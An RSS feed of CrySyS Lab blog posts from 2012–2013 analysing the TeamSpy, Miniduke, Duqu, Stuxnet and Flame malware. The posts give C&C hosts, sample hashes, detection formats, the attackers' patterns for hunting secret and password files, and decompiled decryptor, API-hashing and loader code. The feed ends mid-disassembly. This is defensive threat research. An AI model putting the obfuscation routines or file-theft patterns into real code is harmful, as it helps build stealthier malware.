<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CrySyS Blog</title>
	<atom:link href="http://blog.crysys.hu/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.crysys.hu</link>
	<description>CrySyS Lab Blog Site - Beta</description>
	<lastBuildDate>Wed, 20 Mar 2013 16:38:09 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>TeamSpy &#8211; Obshie manevri. Ispolzovat&#8217; tolko s razreshenija S-a</title>
		<link>http://blog.crysys.hu/2013/03/teamspy/</link>
		<comments>http://blog.crysys.hu/2013/03/teamspy/#comments</comments>
		<pubDate>Wed, 20 Mar 2013 16:38:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=312</guid>
		<description><![CDATA[The CrySyS Lab, Budapest has been notified by the Hungarian National Security Authority (www.nbf.hu) about the detection of an ongoing high profile targeted attack affecting our home country, Hungary. During our investigation of the incident, we discovered a number of C&#038;C servers, and a large number of malware samples that have been used in multiple <a href='http://blog.crysys.hu/2013/03/teamspy/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>The CrySyS Lab, Budapest has been notified by the Hungarian National Security Authority (www.nbf.hu) about the detection of an ongoing high profile targeted attack affecting our home country, Hungary. During our investigation of the incident, we discovered a number of C&#038;C servers, and a large number of malware samples that have been used in multiple attacks campaigns in the last couple of years.  Indeed, the collected evidences suggest that part of the attack toolkit we discovered was used back in 2010. It seems that the main objective of the attackers was information gathering from the infected computers. Many of the victims appear to be ordinary users, but some of the victims are high profile industrial, research, or diplomatic targets, including the case that triggered our investigation.  As part of the attackers’ activities is based on misusing the TeamViewer remote access tool, we named the entire malicious toolkit TeamSpy. </p>
<p><a href="http://www.crysys.hu/teamspy/teamspy.pdf" title="TeamSpy report">We detail the findings in our technical report.</a></p>
<p>As mentioned above, a distinct feature of the attack is the abuse of the legitimate TeamViewer remote access tool. The attackers install an original, legitimate TeamViewer instance on the victim computer, but they modify its behavior with DLL hijacking, and they obtain remote access to the victim computers in real-time. Therefore, the attackers are not only able to remotely observe the infected computers, but they can also misuse TeamViewer to install other tools to obtain important information, files, and other data from the victim.<br />
The collected evidences suggest that attacks have been carried out in multiple campaigns. In addition to the TeamViewer based campaigns, we also saw signs indicating a number of older attacks based on proprietary malware with C&#038;C server based control. We estimate the number of distinct campaigns to be in the order of tens. </p>
<p>The activities of the attackers might be related to other known attack campaigns, like the TeamBot/Sheldor campaign (banking cyber-crime), as we describe later in this document. Despite of this relation to cyber-crime activities, we believe TeamSpy has been used in high-profile targeted attacks too. This is underpinned by the following observations:</p>
<p>•	In case of the Hungarian incident, the signs clearly show that the target is high-profile.<br />
•	Some malware samples were created just for the retrieval of specific office documents (see the analysis of module 2016_11.txt below) whose name (e.g. “gaza tunnel”) indicate that the target is probably high-profile.<br />
•	The telemetry revealed additional high-profile victims outside Hungary. Indeed, multiple victims were found in Iran, including victims at http://www.sashiraz.co.ir, which is an electronics company with government background. The possible date of infection for this victim is from 2010.<br />
•	Some tools used by the attackers run traceroute to an unknown host on a subnet, where some other hosts belong to the Ministry of Foreign Affairs of Uzbeghistan.<br />
•	Some tools used in the attacks look for files matching the following templates *saidumlo*  *secret*.*  *секрет*.*  *парол*.*   *.xls   *.pdf   *.pgp   *pass*.*    *.rtf   *.doc. This list shows the interest of the attackers in “secret” and “password” documents. In addition, the attackers’ interest in .pgp and .p12 files indicates that they were looking not only for passwords, but also for cryptographic keys, which goes beyond attacks against ordinary users.</p>
<p>During our investigation, we uncovered a large set of malware samples that were probably utilized back in the past; hence, our analysis can also shed light on older malware campaigns and might help victims to reveal incidents that are several years old. Therefore, the information disclosed in this report could be used to perform a longitudinal study of targeted malware attacks.<br />
While identity of most of the victims could not be revealed, we have information on some high-profile victims, e.g.:</p>
<ul>
<li>11/2012: Hungarian high profile governmental victim.
<li>03/2013: Embassy of NATO/EU state in Russia
<li>04/2010: Electronics company in Middle-East, Govt. background
<li>03/2013: Multiple research/educational organizations in France and Belgium
<li>03/2013: Industrial manufacturer in Russia
</ul>
<p><a href="http://www.crysys.hu/teamspy/teamspy.pdf" title="TeamSpy report">Please read the detailed technical report.</a></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2013%2F03%2Fteamspy%2F&amp;title=TeamSpy%20%E2%80%93%20Obshie%20manevri.%20Ispolzovat%E2%80%99%20tolko%20s%20razreshenija%20S-a" id="wpa2a_2"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2013/03/teamspy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New miniduke samples hashes</title>
		<link>http://blog.crysys.hu/2013/02/new-miniduke-samples-hashes/</link>
		<comments>http://blog.crysys.hu/2013/02/new-miniduke-samples-hashes/#comments</comments>
		<pubDate>Wed, 27 Feb 2013 22:19:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=308</guid>
		<description><![CDATA[6a2c682163f7bd572e5b32861f339749a5e6338f *bg_efa.gif 5f9d29ff787ee57cf1efc50ba912b8170d877c8c *bg_efa.gif_dec 7594baa64a94147fe4a480bb1f05421499bafbfa *bg_efd.gif a26b92e612d3a282a294b9fed313998270fb3de8 *bg_efd.gif_dec 3bcd6d97a08406b09c8a1754fc2813b8c31305ec *bg_efssa.gif 3fc74035fefe01a0f88266e1ea6982568db37969 *bg_efssa.gif_dec a725f94d95ff667657186295c47d4dc487ec3dec *bg_ght.gif ffabcf3e947aaeefb52ec4385ceb339bc3bbc4a9 *bg_ght.gif_dec 065624d59c2bf607df10bfec1fb104fee09f9dd6 *bg_ldf.gif 5deb581700d373b5890e3bd684306473d34d02cc *bg_ldf.gif_dec 43ef986db9a1c9ff7fd0d84d8495a4f3d9e82543 *bg_lef.gif 131b72a8d950bcf3de273f8a6aac56f8884b5e1e *bg_lef.gif_dec 03ed5e370513eb4d357fbc391ce57c75d179551e *bg_ler.gif 726924e450ffb50c6cd600dca35e8353e0d42c8b *bg_ler.gif_dec 6799b0d8e9ec469fa455b01ffde63b8c *bg_efa.gif ac1c9fd4c6ba5ef3673a871960a48622 *bg_efa.gif_dec 665eb69b1a917b5c8e3588efcc258539 *bg_efd.gif a401042e3276bcb4d4012da392e6374a *bg_efd.gif_dec 9253eae9b443f67b12a2b399f54bb2cb *bg_efssa.gif f3de8feb3ea4f367053755123389c1ae *bg_efssa.gif_dec 9fee2fcc92b74e0fb65dc42214ae9952 *bg_ght.gif 41d4eb3aab5acd87657c4b9ea9432d9b *bg_ght.gif_dec 37307978b24a9185ec8b4ca14afefd99 *bg_ldf.gif e92584a5624b2fa044a671198c834221 *bg_ldf.gif_dec 9c2433c9768c43a8f4ae0fc72b1cc1cc *bg_lef.gif 0f76f6e9d7659d4fb087d18bec1bd48f *bg_lef.gif_dec 535011c4887a098fc67adb5eebc64525 *bg_ler.gif 3b83c9bb67ce8166c0312b1abe9cd5a7 <a href='http://blog.crysys.hu/2013/02/new-miniduke-samples-hashes/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>6a2c682163f7bd572e5b32861f339749a5e6338f *bg_efa.gif<br />
5f9d29ff787ee57cf1efc50ba912b8170d877c8c *bg_efa.gif_dec<br />
7594baa64a94147fe4a480bb1f05421499bafbfa *bg_efd.gif<br />
a26b92e612d3a282a294b9fed313998270fb3de8 *bg_efd.gif_dec<br />
3bcd6d97a08406b09c8a1754fc2813b8c31305ec *bg_efssa.gif<br />
3fc74035fefe01a0f88266e1ea6982568db37969 *bg_efssa.gif_dec<br />
a725f94d95ff667657186295c47d4dc487ec3dec *bg_ght.gif<br />
ffabcf3e947aaeefb52ec4385ceb339bc3bbc4a9 *bg_ght.gif_dec<br />
065624d59c2bf607df10bfec1fb104fee09f9dd6 *bg_ldf.gif<br />
5deb581700d373b5890e3bd684306473d34d02cc *bg_ldf.gif_dec<br />
43ef986db9a1c9ff7fd0d84d8495a4f3d9e82543 *bg_lef.gif<br />
131b72a8d950bcf3de273f8a6aac56f8884b5e1e *bg_lef.gif_dec<br />
03ed5e370513eb4d357fbc391ce57c75d179551e *bg_ler.gif<br />
726924e450ffb50c6cd600dca35e8353e0d42c8b *bg_ler.gif_dec<br />
6799b0d8e9ec469fa455b01ffde63b8c *bg_efa.gif<br />
ac1c9fd4c6ba5ef3673a871960a48622 *bg_efa.gif_dec<br />
665eb69b1a917b5c8e3588efcc258539 *bg_efd.gif<br />
a401042e3276bcb4d4012da392e6374a *bg_efd.gif_dec<br />
9253eae9b443f67b12a2b399f54bb2cb *bg_efssa.gif<br />
f3de8feb3ea4f367053755123389c1ae *bg_efssa.gif_dec<br />
9fee2fcc92b74e0fb65dc42214ae9952 *bg_ght.gif<br />
41d4eb3aab5acd87657c4b9ea9432d9b *bg_ght.gif_dec<br />
37307978b24a9185ec8b4ca14afefd99 *bg_ldf.gif<br />
e92584a5624b2fa044a671198c834221 *bg_ldf.gif_dec<br />
9c2433c9768c43a8f4ae0fc72b1cc1cc *bg_lef.gif<br />
0f76f6e9d7659d4fb087d18bec1bd48f *bg_lef.gif_dec<br />
535011c4887a098fc67adb5eebc64525 *bg_ler.gif<br />
3b83c9bb67ce8166c0312b1abe9cd5a7 *bg_ler.gif_dec</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2013%2F02%2Fnew-miniduke-samples-hashes%2F&amp;title=New%20miniduke%20samples%20hashes" id="wpa2a_4"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2013/02/new-miniduke-samples-hashes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Miniduke</title>
		<link>http://blog.crysys.hu/2013/02/miniduke/</link>
		<comments>http://blog.crysys.hu/2013/02/miniduke/#comments</comments>
		<pubDate>Wed, 27 Feb 2013 14:00:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=278</guid>
		<description><![CDATA[Earlier in February 2013, FireEye announced the discovery of a new malware that exploited a 0-day vulnerability in Adobe Reader. Now, we announce another, as yet unknown malware that exploits the same Adobe Reader vulnerability (CVE-2013-0640). This new malware was named Miniduke by Kaspersky Labs with whom we carried out its first analysis. Our participation <a href='http://blog.crysys.hu/2013/02/miniduke/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>Earlier in February 2013, FireEye announced the discovery of a new malware that exploited a 0-day vulnerability in Adobe Reader. Now, we announce another, as yet unknown malware that exploits the same Adobe Reader vulnerability (CVE-2013-0640).</p>
<p>This new malware was named Miniduke by Kaspersky Labs with whom we carried out its first analysis. Our participation in this research was justified by a detected Hungarian incident. A <a title="Kasperksy Blog entry" href="https://www.securelist.com/en/blog/208194129 The_MiniDuke_Mystery_PDF_0_day_Government_Spy_Assembler_Micro_Backdoor">detailed report</a> on the results of our joint efforts has been published by Kaspersky Labs on their Securelist blog site. That report describes what we currently know about the operation of Miniduke including its stages, and also information on the C&amp;C infrastructure and communications. We have published <a title="CrySyS Lab report" href="http://www.crysys.hu/miniduke/miniduke_indicators_public.pdf">another report from CrySys Lab</a> that contains information on the indicators of Miniduke infections and gives specific hints on its detection. This blog entry is a brief excerpt of our report.</p>
<p>The available malware samples are highly obfuscated, and compiled by a polymorphic compiler. The attackers were able to produce new variants with only a few minutes difference between compile times. Therefore, the number of distinct samples could be very large. Hashes of known samples are published in our detailed report on indicators.</p>
<p>Due to a large number of compiled samples, there is a high chance that the current version is difficult to detect by signatures. Yet, there are common features in the samples that can be used to identify the malware components.</p>
<p>In every case we encountered, the “Program Files/Startup” contains a file with .lnk extension after installation. This is used to start up the malware after the computer is rebooted.</p>
<p>A not fully cross-checked information is that, during installation, the malware will be copied in two copies on the system and the two executables differ. This might mean that the executable modifies itself. For example, we recovered the following two files:</p>
<p><code>md5sum base.cat :113e6fc85317fdd135e3f5f19e6c7a58 *base.cat<br />
md5sum ~6rld.tmp : c786a4cdfe08dbe7c64972a14669c4d1 *~6rld.tmp</code></p>
<p>where base.cat is the startup file, which is created based on ~6lrd.tmp. base.cat is stored in the “All users” directory, whereas ~6lrd.tmp is stored in a user’s directory, e.g., in the guest user directory as “C:\Documents and Settings\guest\Local Settings\Application Data\~6rld.tmp”. This user directory contains at least one more file, update.cmd, with a specific content that could be used for detection.</p>
<p>As for stage 3 of the attack, it is important to note that it is not yet analyized deeply. So once a victim downloads the ~300k long piece of stage 3 code, we don’t know what happens with the previous stages, and we have no information about detections once this stage is reached, except the usage of the C&amp;C server news.grouptumbler.com. Another variant of the stage 3 code is much smaller, only 14k long, and connects to a server in Turkey.</p>
<p>We have identified the following servers delivering stage 2 and stage 3 code to victims:</p>
<p><code>arabooks.ch 194.38.160.153 / Switzerland<br />
artas.org 95.128.72.24 / France<br />
tsoftonline.com 72.34.47.186 / United States<br />
www.eamtm.com 188.40.99.143 / Germany</code></p>
<p>The C&amp;C server used by stage 3 of the malware is news.grouptumbler.com (IP 200.63.46.23) and it is located in Panama.</p>
<p>There are multiple layers of C&amp;C communications in the malware. First, the malware uses Google search to receive information from its master. Then, it uses the Twitter messaging service looking for the twits of a specific Twitter user. Commands received via this channel trigger the download of stage 2 and stage 3 code.</p>
<p>Basic detection can be based on the queries that are initiated by the victim computer within seconds:</p>
<p><code>www.google.com – port TCP/80 - HTTP<br />
twitter.com –port TCP/443 - SSL<br />
www.geoiptool.com –port TCP/80 - HTTP</code></p>
<p>Known search strings in Google search can also be used to detect the malware:</p>
<p><code>lUFEfiHKljfLKWPR<br />
HkyeiIDKiroLaKYr<br />
lUFEfiHKDroLaKYr</code></p>
<p>Unfortunately, these strings are most likely unique to each C&amp;C server or victim, thus unknown samples might use other strings, but possibly with the same length.</p>
<p>Examples for twits containing the URL of the C&amp;C server are shown below:</p>
<p><code>The weather is good today. Sunny! uri!wp07VkkxYt3Mne5uiDkz4Il/Iw48Ge/EWg==<br />
Albert, my cousin. He is working hard. uri!wp07VkkxYmfNkwN2nBmx4ch/Iu2c+GJow39HbphL<br />
My native town was ruined by tornado. uri!wp07VkkxYt3Md/JOnLhzRL2FJjY8l2It</code></p>
<p>The malware also sends a query to the geoiptool. An example is shown below:</p>
<p><code>GET / HTTP/1.1<br />
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US; Trident/5.0)<br />
Host: www.geoiptool.com</code></p>
<p>The malware retrieves the URL of the stage 2/3 delivery C&amp;C server from Twitter messages as described above. Then, we can observe the first query from the victim towards the server. This query contains pure HTTP traffic on port 80 to the server following the template below.</p>
<p><code>GET /original/path/shortname/index.php?e=aaaaaaaaa</code></p>
<p>where:</p>
<ul>
<li>shortname can be a number of strings, generally human readable (e.g. lib, engine, forum, forumengine etc.)</li>
<li>&#8220;e=&#8221; is not constant, can be anything, but generally 1-2 letters long</li>
<li>aaaaaaaaa stands for some Base64-like text (see details below)</li>
<li>the servers used are assumed to be legitimate sites, just hacked by the attackers.</li>
</ul>
<p>Based on this format, we can detect a valid query as follows:</p>
<p>The name of the first GET parameter should be discarded</p>
<ul>
<li>this means &#8220;e=&#8221; is not important</li>
<li>we saw only one GET parameter, queries with multiple parameters are likely not used</li>
</ul>
<p>For detection, the Base64-like string &#8220;aaa…&#8221; should be first modified as follows:</p>
<ul>
<li>&#8220;-&#8221; should be replaced by &#8220;+&#8221;</li>
<li>&#8220;_&#8221; should be replaced by &#8220;/&#8221;</li>
</ul>
<p>This results in correct Base64 encoding, which can be decoded with library functions such as base64_decode. After decoding, a string of data, partially binary, will be available. Parts are separated by the delimiter character &#8220;|&#8221;. The format and a numerical example are below:</p>
<p><code>binary data ( ~100 bytes)|numerical ID ( ~10 digits)|version number</code></p>
<p>e.g.,</p>
<p><code>binary data|5551115551|1.13</code></p>
<p>As the binary data itself may contain the ”|” character, parsing should start from the end (i.e., the numerical ID starts from the second “|” character from the end). In additional, the ID length may vary (not fully confirmed), but it seems to be around 10 digits. Finally, the version number always follows the pattern &#8220;one digit.two digits&#8221;, e.g., 1.1X 3.1X.</p>
<p><a href="http://blog.crysys.hu/wp-content/uploads/2013/02/gif-image.png"><img class="alignnone size-full wp-image-302" alt="gif-image" src="http://blog.crysys.hu/wp-content/uploads/2013/02/gif-image.png" width="644" height="279" /></a></p>
<p>The C&amp;C server’s response – if it sends encrypted files – is a GIF file containing a small icon, and after that, the malware. For stage 3, the file downloaded has a larger size (~300KB). It also begins with a GIF header, but that header is only 13 bytes long, and then starts the encrypted executable (see picture above).</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2013%2F02%2Fminiduke%2F&amp;title=Miniduke" id="wpa2a_6"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2013/02/miniduke/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Encryption related to Duqu font expoit (CVE-2011-3402)</title>
		<link>http://blog.crysys.hu/2013/01/encryption-related-to-duqu-font-expoit-cve-2011-3402/</link>
		<comments>http://blog.crysys.hu/2013/01/encryption-related-to-duqu-font-expoit-cve-2011-3402/#comments</comments>
		<pubDate>Sun, 27 Jan 2013 03:05:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=270</guid>
		<description><![CDATA[You remember the Duqu font related exploit and shell code in the dropper? Yes, that&#8217;s the exploit that was recently used in many exploit kits. First of all, this is a kernel level exploit, it should be kept in mind while checking code. The original dropper had a decryptor for the stage1 of shell code: <a href='http://blog.crysys.hu/2013/01/encryption-related-to-duqu-font-expoit-cve-2011-3402/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>You remember the Duqu font related exploit and shell code in the dropper? Yes, that&#8217;s the exploit that was recently used in many exploit kits.<br />
First of all, this is a kernel level exploit, it should be kept in mind while checking code.</p>
<p>The original dropper had a decryptor for the stage1 of shell code:</p>
<p><code>void __fastcall sub_1500(int a1, int a2)<br />
{<br />
  int v2; // eax@2<br />
  int v3; // ecx@2<br />
  int v4; // eax@5<br />
  int i; // eax@5</p>
<p>  if ( !dword_14FC )<br />
  {<br />
    v2 = 0;<br />
    dword_14FC = 1;<br />
    v3 = (unsigned __int8)dword_14F8;<br />
    while ( v2 != dword_14F8 )<br />
    {<br />
      LOBYTE(a2) = v2 ^ *((_BYTE *)sub_17C + v2) ^ v3;<br />
      *((_BYTE *)sub_17C + v2) = a2;<br />
      a2 = (unsigned __int8)a2;<br />
      ++v2;<br />
      v3 ^= a2;<br />
    }<br />
    v4 = sub_158C(v2, a2, v3);<br />
    sub_17C(v4 - (_DWORD)sub_17C);<br />
    for ( i = 0; i != dword_14F8; ++i )<br />
      *((_BYTE *)sub_17C + i) = 0;<br />
  }<br />
}</code></p>
<p>It&#8217;s not a complicated obfustation/crypto, the interesting thing is that it is not like the ones for Flame. The most similar thing is Stuxnet&#8217;s modules&#8217;s crypto, maybe later discussed.</p>
<p>The next level is still obfuscated. ntoskrnl.exe function calls are stored in a table by hash of the function call name, just like calls are obfuscated in other parts of Duqu. This is not unusal, but shows specific care on the module.</p>
<p>The hash-function relation table is costructed like under:</p>
<p>seg000:00001043                 mov     [esi+10h], eax<br />
seg000:00001046                 jz      loc_11B2<br />
seg000:0000104C                 push    ecx<br />
seg000:0000104D                 push    ecx<br />
seg000:0000104E                 push    0BF5CA508h      ; ExAllocatePool, hash:bf5ca508<br />
seg000:00001053                 push    edi<br />
seg000:00001054                 call    sub_7FD<br />
seg000:00001059                 add     esp, 10h<br />
seg000:0000105C                 test    eax, eax<br />
seg000:0000105E                 mov     [esi+14h], eax<br />
seg000:00001061                 jz      loc_11B2<br />
seg000:00001067                 push    edx<br />
seg000:00001068                 push    edx<br />
seg000:00001069                 push    2973E9CCh       ; export name:  ExFreePool, hash:2973e9cc<br />
seg000:0000106E                 push    edi<br />
seg000:0000106F                 call    sub_7FD<br />
seg000:00001074                 add     esp, 10h<br />
seg000:00001077                 test    eax, eax<br />
seg000:00001079                 mov     [esi+18h], eax</code></p>
<p>Note the constants 2973ECCh and similar. These are identifiers of ntoskrnl.exe exports (specific functions).</p>
<p>The hash calculation is done like this:<br />
<code>          for ( i = 0; ; i += 7 * i * i + 12 * v8 + 17 * v8 * v8 )<br />
          {<br />
            v8 = *(_BYTE *)v3;<br />
            if ( !*(_BYTE *)v3 )<br />
              break;<br />
            ++v3;<br />
          }<br />
</code></p>
<p>It's not like encryption/obfuscation code for FLame. Maybe the exploit creators also provided this stage to the customers.</p>
<p>Based on this code function calls in the exploit can be recovered. And still, this is just one step among others to fully understand how original Duqu dropper worked...</p>
<p>A few sample values for hashes based on the function described above:</p>
<p><code><br />
export name:  AlpcInitializeMessageAttribute, hash:f8ab4ead<br />
export name:  CcCanIWrite, hash:c833f901<br />
export name:  CcCoherencyFlushAndPurgeCache, hash:41ab559d<br />
export name:  CcCopyRead, hash:99b1f488<br />
export name:  CcCopyWrite, hash:96bc06d5<br />
export name:  CcCopyWriteWontFlush, hash:210fdfb4<br />
export name:  CcDeferWrite, hash:038897a1<br />
export name:  CcFastCopyRead, hash:1e3c8f5c<br />
export name:  CcFastCopyWrite, hash:c1874039<br />
export name:  CcFastMdlReadWait, hash:2eea7438<br />
export name:  CcFlushCache, hash:0a30abdd<br />
export name:  CcGetDirtyPages, hash:cc24ab45<br />
export name:  CcGetFileObjectFromBcb, hash:8244f064<br />
export name:  CcGetFileObjectFromSectionPtrs, hash:9406fe99</p>
<p></code></p>
<p>... possibly TBC...</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2013%2F01%2Fencryption-related-to-duqu-font-expoit-cve-2011-3402%2F&amp;title=Encryption%20related%20to%20Duqu%20font%20expoit%20%28CVE-2011-3402%29" id="wpa2a_8"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2013/01/encryption-related-to-duqu-font-expoit-cve-2011-3402/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stuxnet-Flame relation</title>
		<link>http://blog.crysys.hu/2013/01/stuxnet-flame-relation/</link>
		<comments>http://blog.crysys.hu/2013/01/stuxnet-flame-relation/#comments</comments>
		<pubDate>Tue, 01 Jan 2013 02:13:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=265</guid>
		<description><![CDATA[Some time ago, we rechecked some Stuxnet code. Guess what have we learned: Kasperksy already published Flame-Stuxnet relationship, but on the encryption level, there is another similarity. In fact, this was found by Norman back in June , but they compared with soapr32&#8242;s encryption which is slightly more different than 4069.dll&#8217;s encryption E2. Stuxnet PLC <a href='http://blog.crysys.hu/2013/01/stuxnet-flame-relation/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>Some time ago, we rechecked some Stuxnet code. Guess what have we learned: Kasperksy already published Flame-Stuxnet <a href="http://www.kaspersky.com/about/news/virus/2012/Resource_207_Kaspersky_Lab_Research_Proves_that_Stuxnet_and_Flame_Developers_are_Connected">relationship</a>, but on the encryption level, there is another similarity. In fact, this was <a href="http://blogs.norman.com/2012/security-research/flamer-and-stuxnet-have-more-in-common-than-you-think">found by Norman back in June </a>, but they compared with soapr32&#8242;s encryption which is slightly more different than 4069.dll&#8217;s encryption E2.</p>
<p>Stuxnet PLC dll encryption code:<br />
<code>unsigned int __cdecl encryption_routine_sub_10010B26(int a1)<br />
{<br />
  int v1; // eax@1</p>
<p>  v1 = (a1 + 11) * (a1 + 17);<br />
  return (a1 + 11) * (a1 + 17) ^ (((a1 + 11) * (a1 + 17) &#038; 0xFFFFFF00 ^<br />
 ((((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ v1<br />
&#038; 0xFF0000) >> 8)) >> 8);<br />
}</code></p>
<p>Flame 4069.dll:<br />
<code>unsigned int __cdecl encryptor_sub_4025C0(int a1)<br />
{<br />
return (a1 + 11) * (a1 + 17) ^ (((unsigned __int16)((a1 + 11) * (a1 + 17) &#038; 0xFF00)<br />
^ ((((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ (a1 + 11) * (a1 + 17) &#038;<br />
0xFF0000) >> 8)) >> 8);</code></p>
<p>But for what reason was this encryption (obfuscation) used in 4069?</p>
<p>Flame 4069 contains some strings like this:</p>
<p><code>5F 5F 73 73 5F 73 5F 5F  00 31 32 25 77 69 6E 64  __ss_s__.12%wind<br />
69 72 25 5C 73 79 73 74  65 6D 33 32 5C 72 64 63  ir%\system32\rdc<br />
76 6C 74 33 32 2E 65 78  65 00 5F 5F 73 73 5F 65  vlt32.exe.__ss_e</code></p>
<p>Basically __ss_s__ is some kind of magic string where &#8220;ss&#8221; stands for string. then &#8220;00&#8243; is a placeholder for a length variable,<br />
&#8220;12&#8243; is a magic string, and finally the encrypted string is put in the file. Oh, no. Wait a minute. This seems to be human readable?! Yes, basically 4069 is prepared to accept encrypted strings &#8220;if needed&#8221;, but the marker for doing that is the length field. If it is 00 (as above), then the string is unencrypted, and can be direcrtly read, otherwise it uses E2 to decrypt the string. Magic &#8220;12&#8243; is not part of the &#8220;real&#8221; string, this info is a fix for our Flame/Skywiper tech report.<br />
All-in-all, the connection is not jut strange, but in 4069 this encryption routine is not even really used. Most likely, authors have made a postprocessor for the binary finding __s_s__ strings, 12 magics and then encrypting strings and writing back length field into the file, but for some reason in the samples we saw, they did not use the post-processing tool.</p>
<p><code><br />
.text:004025F1                 mov     ebx, [esp+4+length_arg_4]<br />
.text:004025F5                 push    esi<br />
.text:004025F6                 xor     esi, esi<br />
.text:004025F8                 test    ebx, ebx<br />
.text:004025FA                 jbe     short loc_402618</code></p>
<p>If length is not set, then jump out of the decryption loop.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2013%2F01%2Fstuxnet-flame-relation%2F&amp;title=Stuxnet-Flame%20relation" id="wpa2a_10"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2013/01/stuxnet-flame-relation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Duqu resource 302 finds the .zdata section</title>
		<link>http://blog.crysys.hu/2012/12/how-duqu-resrouce-302-finds-the-zdata-section/</link>
		<comments>http://blog.crysys.hu/2012/12/how-duqu-resrouce-302-finds-the-zdata-section/#comments</comments>
		<pubDate>Mon, 31 Dec 2012 16:59:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=262</guid>
		<description><![CDATA[Just a short blog entry to save this info for the history. We investigated originally two different pieces of duqu payload. One contained resource 302 with a compressed .zdata section, the other contained the to-be-injected code without compression. The injector-loader is the same for the two versions, then how does it find if .zdata should <a href='http://blog.crysys.hu/2012/12/how-duqu-resrouce-302-finds-the-zdata-section/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>Just a short blog entry to save this info for the history. </p>
<p>We investigated originally two different pieces of duqu payload. One contained resource 302 with a compressed .zdata section, the other contained the to-be-injected code without compression. The injector-loader is the same for the two versions, then how does it find if .zdata should be loaded?</p>
<p>Here is the trick from netp 301 resource:</p>
<p><code>.text:10001220                 mov     ecx, 5A4Dh<br />
.text:10001225                 cmp     [eax], cx<br />
.text:10001228                 jnz     loc_100012CD<br />
.text:1000122E                 mov     ecx, [eax+3Ch]<br />
.text:10001231                 add     ecx, eax<br />
.text:10001233                 cmp     dword ptr [ecx], 4550h<br />
.text:10001239                 jnz     loc_100012CD</code></p>
<p>First it checks for &#8220;MZ&#8221; header, then it check &#8220;PE&#8221; signature.<br />
Now, </p>
<p><code>.text:1000123F                 movzx   edx, word ptr [ecx+6] ; number of sections in PE File (5)<br />
.text:10001243                 cmp     dx, 3<br />
.text:10001247                 jbe     loc_100012CD<br />
.text:1000124D                 movzx   esi, word ptr [ecx+14h] ; pointer to symbol table<br />
.text:10001251                 movzx   edx, dx<br />
